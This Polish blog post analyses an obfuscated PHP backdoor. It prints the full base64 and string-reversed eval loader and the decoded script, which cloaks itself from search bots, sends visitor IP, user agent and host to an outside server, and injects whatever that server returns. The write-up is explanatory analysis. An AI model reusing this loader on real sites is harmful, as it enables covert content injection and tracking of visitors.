Kolejny kod który wpadł w moje ręce. Autor napisał nawet własną funkcję zaciemniającą kod, która zaciemnia kod w taki sposób, że na pierwszy rzut oka nie wiadomo czy to się nawet uruchamia :) . Zobaczcie sami.

Kod oryginalny (wygląd podstawowy raczej standardowy):

<?php
eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29MZ0xLWlltdEooJHMpe2ZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPTAzT3BBVFdMbEdUUnhtYzBsa1VxNTBUc0ZtZGxSQ0tsUjJialZHWmZSak5sTlhZaUJpYnlWSGRsSjNlZ2tDTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSm9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9c1RLaTBUUDNKV2IxY1ZZaWdTV0xsR1RSeG1jMGxrVXE1MFRzRm1kbEJTUGdFMVFTRjNZVGwzVklKbFJ5UlZUNXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiN2tpSTkwRVNraG1Vek1tSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWjlNa1laSlZkaGhsZXhsRVMzVjBhd3hXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwVFBCTkdNU2hVWWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGwxamUybFhlcVYwWmhSM1EycEhjRnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwRE5YRm1Jb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaOXNXWVNCWFNpVkVWaHAxVWl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj1zVEtpMFRQUmxrZGtkVlNpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsMVRUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSjlVRmJKRm5heGQyUkpwMmR6eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPcGtpSTkwelpqeEdldGxGZEcxV1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsQkNMcElDTldka1cxWjBWWEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZHSXNraUk5a0VXYUpEYkhGbWFLaFZXbVowVmhKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWR0lza2lJd2tUYlI5a1RXUmxJb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaZ3dTS2kwVFF1TldNNEpUVmlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxCQ0xwSUNiNEpqVzJsak1TSkNLWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdLNUZtY3lGR0k5QVNZNmhIU3Y1V1FtbFVlUWRtZHp4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09STmtVeE4yVTVkRlNTWmtjVTFVZXNGbWRsUlNQdVExYk0xV1NZTjNUWGhFWllaRmJoWlhaa0FTS2dzeUtwUkNJN1VESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI3a1NLaTBUUFJaMk5ybDNZcmRXZWpCVE5YcEZNMUlqWXFsalJreEdaeWdGYjRkVll0SlVSSlZuU1lSR01XMTJZM0kwVUxwblVEdGtlajFtV25Sak1pQm5VemtWZFc1bVdpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsaENiaFpYWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPUk5rVXhOMlU1ZEZTU1prY1UxVWVzRm1kbFJpTGk0aUk5NENJVTlHVHRsRVd6OTBWSVJHV1d4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIjkxM094azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprQXlib05XWjcwVk1iRlRXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsUkNJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt4azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprd1NUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKb1VHWnZ4R2M0VkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSjdsU0tOZDJTSDlHZU5kRVZKaGxST3BGYmhaWFprd1NNWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdKb0lIZHpKSGR6aENJbWwyT3BrU1hwSVNWT0ZEVkpsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSm9VR1p2Tm1ibHhtYzE1U0tpa3padHBrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVrU1ZzbFVjcUYzWkhsa2EzTkhiaFpYWmtnU1prOTJZdVZHYnlWbkxwSVNPSjFtU2lnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1U1hwSVNQSlprVUZaRU1ZWmtVeFFsVFd0V1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvazFTcHhVVXNKSGRKSmxhTzlFYmhaWFp1a2lJOWdEUmpKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWbUxwSXliQzVHVGlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1eWFoSkZjSkpXUlVGbVdUSkdiaFpYWms0U0tpMFRQM3hrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVRMWJNMVdTWU4zVFhoRVpZWkZiaFpYWms0U0tpMERPNXhrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVraUk5MHpaUEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZtTDZaWGU1cFdSbkZHZERabmV3VkViaFpYWmtneU1uWkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt3QURPd0V6S3BnU1p0bEdkc2tTS2kwVFRJUkdhU056WWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxoU05rMUdMREpXV1NWWFlZcFhjSmgwZEZ0R2NzRm1kbFJDS2xsMmF2OTJZMFYyY0FCeWVnVTJjc1ZHSTl0SElwa1NLZE5rWVpKVmRoaGxleGxFUzNWMGF3eFdZMlZHSmJWVVNMOTBURDlGSm9RWFp6Tlhhb0FpY3ZCU0twVUZiSkZuYXhkMlJKcDJkenhXWTJWR0pnd2lJcDlpSWc0Q0lwRW1lNGgwYnVGa1pKbEhVblozY3NGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTs="));
?>

Po odwróceniu eval’a mamy:

function evalhIOoLgLKZYmtJ($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalhIOoLgLKZYmtJ(';))"=03OpATWLlGTRxmc0lkUq50TsFmdlRCKlR2bjVGZfRjNlNXYiBibyVHdlJ3egkCMZtUaMFFbyRXSSpmTPxWY2VGJok1SpxUUsJHdJJlaO9EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TP3JWb1cVYigSWLlGTRxmc0lkUq50TsFmdlBSPgE1QSF3YTl3VIJlRyRVT5xWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kiI90ESkhmUzMmIok1SpxUUsJHdJJlaO9EbhZXZ9MkYZJVdhhlexlES3V0awxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPBNGMShUYigSWLlGTRxmc0lkUq50TsFmdl1je2lXeqV0ZhR3Q2pHcFxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0DNXFmIok1SpxUUsJHdJJlaO9EbhZXZ9sWYSBXSiVEVhp1UixWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPRlkdkdVSigSWLlGTRxmc0lkUq50TsFmdl1TTnt0RvhXTHRVSYZkTaxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJ9UFbJFnaxd2RJp2dzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOpkiI90zZjxGetlFdG1WVigSWLlGTRxmc0lkUq50TsFmdlBCLpICNWdkW1Z0VXJCKZtUaMFFbyRXSSpmTPxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKZtUaMFFbyRXSSpmTPxWY2VGIskiIwkTbR9kTWRlIok1SpxUUsJHdJJlaO9EbhZXZgwSKi0TQuNWM4JTVigSWLlGTRxmc0lkUq50TsFmdlBCLpICb4JjW2ljMSJCKZtUaMFFbyRXSSpmTPxWY2VGK5FmcyFGI9ASY6hHSv5WQmlUeQdmdzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRSPuQ1bM1WSYN3TXhEZYZFbhZXZkASKgsyKpRCI7UDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpFM1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDtkej1mWnRjMiBnUzkVdW5mWigSWLlGTRxmc0lkUq50TsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRiLi4iI94CIU9GTtlEWz90VIRGWWxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"913Oxk1SpxUUsJHdJJlaO9EbhZXZkAyboNWZ70VMbFTWLlGTRxmc0lkUq50TsFmdlRCI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKxk1SpxUUsJHdJJlaO9EbhZXZkwSTnt0RvhXTHRVSYZkTaxWY2VGJoUGZvxGc4VGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJ7lSKNd2SH9GeNdEVJhlROpFbhZXZkwSMZtUaMFFbyRXSSpmTPxWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJoUGZvNmblxmc15SKikzZtpkIok1SpxUUsJHdJJlaO9EbhZXZukSVslUcqF3ZHlka3NHbhZXZkgSZk92YuVGbyVnLpISOJ1mSigSWLlGTRxmc0lkUq50TsFmdl5SXpISPJZkUFZEMYZkUxQlTWtWVigSWLlGTRxmc0lkUq50TsFmdltlUFZlUFN1Xk4SKi0DMUFmIok1SpxUUsJHdJJlaO9EbhZXZukiI9gDRjJCKZtUaMFFbyRXSSpmTPxWY2VmLpIybC5GTigSWLlGTRxmc0lkUq50TsFmdl5yahJFcJJWRUFmWTJGbhZXZk4SKi0TP3xkIok1SpxUUsJHdJJlaO9EbhZXZuQ1bM1WSYN3TXhEZYZFbhZXZk4SKi0DO5xkIok1SpxUUsJHdJJlaO9EbhZXZukiI90zZPJCKZtUaMFFbyRXSSpmTPxWY2VmL6ZXe5pWRnFGdDZnewVEbhZXZkgyMnZGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSWLlGTRxmc0lkUq50TsFmdlhSNk1GLDJWWSVXYYpXcJh0dFtGcsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkSKdNkYZJVdhhlexlES3V0awxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpUFbJFnaxd2RJp2dzxWY2VGJgwiIp9iIg4CIpEme4h0buFkZJlHUnZ3csFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));

Po rozdzieleniu kodu na linie widać już coś więcej:

function evalhIOoLgLKZYmtJ($s){
    for ($a = 0; $a <= strlen($s)-1; $a++ ){
        $e .= $s{strlen($s)-$a-1};
    }
    return($e);
}

eval(evalhIOoLgLKZYmtJ(';))"=03OpATWLlGTRxmc0lkUq50TsFmdlRCKlR2bjVGZfRjNlNXYiBibyVHdlJ3egkCMZtUaMFFbyRXSSpmTPxWY2VGJok1SpxUUsJHdJJlaO9EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TP3JWb1cVYigSWLlGTRxmc0lkUq50TsFmdlBSPgE1QSF3YTl3VIJlRyRVT5xWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"7kiI90ESkhmUzMmIok1SpxUUsJHdJJlaO9EbhZXZ9MkYZJVdhhlexlES3V0awxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPBNGMShUYigSWLlGTRxmc0lkUq50TsFmdl1je2lXeqV0ZhR3Q2pHcFxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"=sTKi0DNXFmIok1SpxUUsJHdJJlaO9EbhZXZ9sWYSBXSiVEVhp1UixWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPRlkdkdVSigSWLlGTRxmc0lkUq50TsFmdl1TTnt0RvhXTHRVSYZkTaxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJ9UFbJFnaxd2RJp2dzxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"==wOpkiI90zZjxGetlFdG1WVigSWLlGTRxmc0lkUq50TsFmdlBCLpICNWdkW1Z0VXJCKZtUaMFFbyRXSSpmTPxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKZtUaMFFbyRXSSpmTPxWY2VGIskiIwkTbR9kTWRlIok1SpxUUsJHdJJlaO9EbhZXZgwSKi0TQuNWM4JTVigSWLlGTRxmc0lkUq50TsFmdlBCLpICb4JjW2ljMSJCKZtUaMFFbyRXSSpmTPxWY2VGK5FmcyFGI9ASY6hHSv5WQmlUeQdmdzxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRSPuQ1bM1WSYN3TXhEZYZFbhZXZkASKgsyKpRCI7UDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpFM1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDtkej1mWnRjMiBnUzkVdW5mWigSWLlGTRxmc0lkUq50TsFmdlhCbhZXZ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRiLi4iI94CIU9GTtlEWz90VIRGWWxWY2VGJ"(edoced_46esab(lave'));
eval(evalhIOoLgLKZYmtJ(';))"913Oxk1SpxUUsJHdJJlaO9EbhZXZkAyboNWZ70VMbFTWLlGTRxmc0lkUq50TsFmdlRCI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKxk1SpxUUsJHdJJlaO9EbhZXZkwSTnt0RvhXTHRVSYZkTaxWY2VGJoUGZvxGc4VGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJ7lSKNd2SH9GeNdEVJhlROpFbhZXZkwSMZtUaMFFbyRXSSpmTPxWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJoUGZvNmblxmc15SKikzZtpkIok1SpxUUsJHdJJlaO9EbhZXZukSVslUcqF3ZHlka3NHbhZXZkgSZk92YuVGbyVnLpISOJ1mSigSWLlGTRxmc0lkUq50TsFmdl5SXpISPJZkUFZEMYZkUxQlTWtWVigSWLlGTRxmc0lkUq50TsFmdltlUFZlUFN1Xk4SKi0DMUFmIok1SpxUUsJHdJJlaO9EbhZXZukiI9gDRjJCKZtUaMFFbyRXSSpmTPxWY2VmLpIybC5GTigSWLlGTRxmc0lkUq50TsFmdl5yahJFcJJWRUFmWTJGbhZXZk4SKi0TP3xkIok1SpxUUsJHdJJlaO9EbhZXZuQ1bM1WSYN3TXhEZYZFbhZXZk4SKi0DO5xkIok1SpxUUsJHdJJlaO9EbhZXZukiI90zZPJCKZtUaMFFbyRXSSpmTPxWY2VmL6ZXe5pWRnFGdDZnewVEbhZXZkgyMnZGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSWLlGTRxmc0lkUq50TsFmdlhSNk1GLDJWWSVXYYpXcJh0dFtGcsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkSKdNkYZJVdhhlexlES3V0awxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpUFbJFnaxd2RJp2dzxWY2VGJgwiIp9iIg4CIpEme4h0buFkZJlHUnZ3csFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));

Przyznam, że z kolorowaniem składni widać trochę więcej, ale pod konsolą patrzyłem na to dłużej niż 1 sekunda i upewniałem się gdzie się domknięcia tych nawiasów itp.
Pod ww. kodem kryje się:

eval(base64_decode("ZnVuY3Rpb24gZXZhbE9OalJJdHJsUUxpS1koJGV2YWxPTmpSSXRybFFMaUtZMCkge3JldHVybiBiYXNlNjRfZGVjb2RlKCRldmFsT05qUkl0cmxRTGlLWTApO30="));
eval(base64_decode("JGV2YWx5TVRyRlJIV3lTY3FSQ1EgPSBldmFsT05qUkl0cmxRTGlLWSgiYVc1bWJ3PT0iKTs="));
eval(base64_decode("JGV2YWxwa0V3SElxelhhdVJZYkM9ZXZhbE9OalJJdHJsUUxpS1koImMzUmhkSE09Iik7"));
eval(base64_decode("JGV2YWxFcHp2Q3RhZ0VqeXl2ej1ldmFsT05qUkl0cmxRTGlLWSgiYUhSMGNBPT0iKTs="));
eval(base64_decode("JGV2YWxiU1phVEViSXBSYWs9ZXZhbE9OalJJdHJsUUxpS1koImFXND0iKTs="));
eval(base64_decode("JGV2YWxaTkZYSVRHTXhvR0tnTT1ldmFsT05qUkl0cmxRTGlLWSgiSVdkdklRPT0iKTs="));
eval(base64_decode("JGV2YWxzd2pJR2dxanFJbFU9JF9TRVJWRVJbZXZhbE9OalJJdHJsUUxpS1koIlNGUlVVRjlWVTBWU1gwRkhSVTVVIildOw=="));
eval(base64_decode("JGV2YWxzdmdQeUlmQW5vSHh6YSA9IGFycmF5KGV2YWxPTmpSSXRybFFMaUtZKCJSMjl2WjJ4bCIpLCBldmFsT05qUkl0cmxRTGlLWSgiVTJ4MWNuQT0iKSwgZXZhbE9OalJJdHJsUUxpS1koIlRWTk9RbTkwIiksIGV2YWxPTmpSSXRybFFMaUtZKCJhV0ZmWVhKamFHbDJaWEk9IiksIGV2YWxPTmpSSXRybFFMaUtZKCJXV0Z1WkdWNCIpLCBldmFsT05qUkl0cmxRTGlLWSgiVW1GdFlteGxjZz09IikpOw=="));
eval(base64_decode("Zm9yICgkaSA9IDA7ICRpIDw9IDU7ICRpKysgKSAkZXZhbFZYZEhXT3NYSW1Mb1QuPSRldmFseU1UckZSSFd5U2NxUkNROw=="));
eval(base64_decode("ZXZhbChldmFsT05qUkl0cmxRTGlLWSgiWm5WdVkzUnBiMjRnWm1jektDUnpLU0I3Y21WMGRYSnVJRUJtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWdrY3lrN2ZRPT0iKSk7"));
eval(base64_decode("JGV2YWxWWGRIV09zWEltTG9UIC49Ii4iLiRldmFseU1UckZSSFd5U2NxUkNROw=="));
eval(base64_decode("aWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRldmFsc3ZnUHlJZkFub0h4emEpIC4gIi9pIiwgJGV2YWxzd2pJR2dxanFJbFUpKSBvciAoaXNzZXQoJF9DT09LSUVbJGV2YWxwa0V3SElxelhhdVJZYkNdKSkpIHt9IGVsc2UgeyBAc2V0Y29va2llKCRldmFscGtFd0hJcXpYYXVSWWJDLG1kNShldmFsT05qUkl0cmxRTGlLWSgiYzNSaGRITT0iKSksdGltZSgpKzEwODAwKTsgJGV2YWxPTmpSSXRybFFMaUtZMSA9IGZnMygkZXZhbEVwenZDdGFnRWp5eXZ6LmV2YWxPTmpSSXRybFFMaUtZKCJPZz09IikuZXZhbE9OalJJdHJsUUxpS1koIkx5OD0iKS4kZXZhbFZYZEhXT3NYSW1Mb1QuZXZhbE9OalJJdHJsUUxpS1koIkx3PT0iKS4kZXZhbGJTWmFURWJJcFJhay5ldmFsT05qUkl0cmxRTGlLWSgiTG5CbyIpLmV2YWxPTmpSSXRybFFMaUtZKCJjRDg9IikuZXZhbE9OalJJdHJsUUxpS1koImFUMD0iKS4kX1NFUlZFUltldmFsT05qUkl0cmxRTGlLWSgiVWtWTlQxUkZYMEZFUkZJPSIpXS5ldmFsT05qUkl0cmxRTGlLWSgiSm1JOSIpLnVybGVuY29kZSgkZXZhbHN3aklHZ3FqcUlsVSkuZXZhbE9OalJJdHJsUUxpS1koIkptZzkiKS51cmxlbmNvZGUoJF9TRVJWRVJbZXZhbE9OalJJdHJsUUxpS1koIlNGUlVVRjlJVDFOVSIpXSkpO2lmIChzdHJzdHIoJGV2YWxPTmpSSXRybFFMaUtZMSwkZXZhbFpORlhJVEdNeG9HS2dNKSl7JGV2YWxPTmpSSXRybFFMaUtZMSA9IGV4cGxvZGUoJGV2YWxaTkZYSVRHTXhvR0tnTSwkZXZhbE9OalJJdHJsUUxpS1kxKTsgJGV2YWxPTmpSSXRybFFMaUtZMSA9ICRldmFsT05qUkl0cmxRTGlLWTFbMV07ZWNobyAkZXZhbE9OalJJdHJsUUxpS1kxO319"));

No i lecimy dalej … :)

<?php
function evalONjRItrlQLiKY($evalONjRItrlQLiKY0) {
    return base64_decode($evalONjRItrlQLiKY0);
}
$evalyMTrFRHWyScqRCQ = evalONjRItrlQLiKY("aW5mbw==");
$evalpkEwHIqzXauRYbC=evalONjRItrlQLiKY("c3RhdHM=");
$evalEpzvCtagEjyyvz=evalONjRItrlQLiKY("aHR0cA==");
$evalbSZaTEbIpRak=evalONjRItrlQLiKY("aW4=");
$evalZNFXITGMxoGKgM=evalONjRItrlQLiKY("IWdvIQ==");
$evalswjIGgqjqIlU=$_SERVER[evalONjRItrlQLiKY("SFRUUF9VU0VSX0FHRU5U")];
$evalsvgPyIfAnoHxza = array(evalONjRItrlQLiKY("R29vZ2xl"), evalONjRItrlQLiKY("U2x1cnA="), evalONjRItrlQLiKY("TVNOQm90"), evalONjRItrlQLiKY("aWFfYXJjaGl2ZXI="), evalONjRItrlQLiKY("WWFuZGV4"), evalONjRItrlQLiKY("UmFtYmxlcg=="));
for ($i = 0; $i <= 5; $i++ )
    $evalVXdHWOsXImLoT.=$evalyMTrFRHWyScqRCQ;

eval(evalONjRItrlQLiKY("ZnVuY3Rpb24gZmczKCRzKSB7cmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkcyk7fQ=="));
$evalVXdHWOsXImLoT .=".".$evalyMTrFRHWyScqRCQ;
if((preg_match("/" . implode("|", $evalsvgPyIfAnoHxza) . "/i", $evalswjIGgqjqIlU)) or (isset($_COOKIE[$evalpkEwHIqzXauRYbC]))) {
} else {
    @setcookie($evalpkEwHIqzXauRYbC,md5(evalONjRItrlQLiKY("c3RhdHM=")),time()+10800);
    $evalONjRItrlQLiKY1 = fg3($evalEpzvCtagEjyyvz.evalONjRItrlQLiKY("Og==").evalONjRItrlQLiKY("Ly8=").$evalVXdHWOsXImLoT.evalONjRItrlQLiKY("Lw==").$evalbSZaTEbIpRak.evalONjRItrlQLiKY("LnBo").evalONjRItrlQLiKY("cD8=").evalONjRItrlQLiKY("aT0=").$_SERVER[evalONjRItrlQLiKY("UkVNT1RFX0FERFI=")].evalONjRItrlQLiKY("JmI9").urlencode($evalswjIGgqjqIlU).evalONjRItrlQLiKY("Jmg9").urlencode($_SERVER[evalONjRItrlQLiKY("SFRUUF9IT1NU")]));
    if (strstr($evalONjRItrlQLiKY1,$evalZNFXITGMxoGKgM)){
        $evalONjRItrlQLiKY1 = explode($evalZNFXITGMxoGKgM,$evalONjRItrlQLiKY1);
        $evalONjRItrlQLiKY1 = $evalONjRItrlQLiKY1[1];
        echo $evalONjRItrlQLiKY1;
    }
}
?>

Co widzimy powyżej:
- do linii 13 kod szykuje się do dalszej pracy np: tablica z linii 11 zawiera: Google, Slurp, MSNBot, ia_archiver, Yandex, Rambler
- w linii 15 znajduje się funkcja:

function fg3($s) {return @file_get_contents($s);}

- if w linii 17: jeżeli USER_AGENT to jeden z botów z linii 11 lub użytkownik już raz wykonał kod (posiada odpowiedni plik cookie) to nie uruchamiaj. Jak widać autor nawet stara się nie wpaść w ręcę skanerów Googla – sprytne :)
- od linii 19: ustawia nam cookie, żeby później już to nie wchodzić. Dalej stara się pobrać zawartość strony „http://infoinfoinfoinfoinfoinfo.info/in.php?i=…&b=…&h=…” zgłaszając w zmiennych i, b, h odpowiednio: USER_AGENT, REMOTE_ADDR, HTTP_HOST. Na koniec, jeżeli odpowie tekstem zawierającym „!go!” to wysyła do użytkownika to co znajduje się przed tym stringiem. Co to było, teraz już można tylko zgadywać, bo sam skrypt już nie działa.

Komentarze zablokowane.